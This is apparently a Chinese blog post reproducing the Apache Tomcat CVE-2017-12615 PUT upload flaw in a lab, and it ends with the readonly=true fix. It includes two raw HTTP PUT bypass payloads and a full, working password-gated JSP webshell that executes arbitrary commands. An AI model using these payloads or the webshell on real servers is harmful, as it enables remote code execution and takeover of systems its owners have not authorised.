tomcat 文件上传漏洞(CVE-2017-12615) 复现

前言

CVE-2017-12615属于文件上传漏洞,当tomcat运行在windows主机上,且启用了http put请求方法(将readonly初始化参数设置为false),攻击者将有可能通过精心构造的攻击请求向服务器上传包含恶意代码的jsp文件,之后jsp代码将有可能被服务器执行。

影响版本

Apache Tomcat 7.0.0-7.0.81

原理讲解

因为在Tomcat 7.0/conf/web.xml里面有对readonly的设置,如果是false的话,我们就可以通过抓包改包的方式去修改请求的方式为PUT来上传文件。

上传姿势

因为在服务器端有对jsp的相应过滤,所以我们直接上传jsp的话,服务器是不会解析的,会返回状态码400(bad request),所以要有一定的绕过方法。

姿势一

使用服务器对其处理过程的文件名的识别存在差异,通过上传test.jsp/识别为非jsp文件,而去保存文件
payload如下

PUT /222.jsp/ HTTP/1.1
Host: 192.168.75.131:8080
User-Agent: JNTASS
DNT: 1
Connection: close

...jsp shell...

jsp shell

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%>
<%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''

通过burp改包,上传shell
在这里插入图片描述
通过我们写的shell去访问指定的目录
在这里插入图片描述
成功getshell

姿势二

通过windows的NTFS的相关设置而研究出的一种绕过姿势

All files on an NTFS volume consist of at least one stream - the main stream – this is the normal, 
viewable file in which data is stored. The full name of a stream is of the form below.

<filename>:<stream name>:<stream type>

The default data stream has no name. That is, the fully qualified name for the default stream for 
a file called "sample.txt" is "sample.txt::$DATA" since "sample.txt" is the name of the file and "$DATA" 
is the stream type.
默认数据流没有名称。也就是说,默认流的完全限定名名为“sample.txt”的文件是“sample.txt::$data”,因为“sample.txt”是文件名和“$data”是流类型。

所以构造payload

PUT /111.jsp::$DATA HTTP/1.1
Host: 192.168.75.131:8080
User-Agent: JNTASS
DNT: 1
Connection: close

...jsp shell...

通过burp的一顿操作
在这里插入图片描述
返回状态码201表示已创建
但是这种方法虽然能上传上去,但是服务器并不解析
在这里插入图片描述
还没找到原因,之后找到原因后再更新。

漏洞修复

因为**/**的特性,文件上传的漏洞影响的版本比较多,从5.x-9.x无不中枪。此漏洞最好的防御措施就是conf/web.xml 中对于 DefaultServlet 的 readonly 设置为 true,才能防止漏洞。

参考链接

https://mp.weixin.qq.com/s?__biz=MzU3ODAyMjg4OQ==&mid=2247483805&idx=1&sn=503a3e29165d57d3c20ced671761bb5e

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值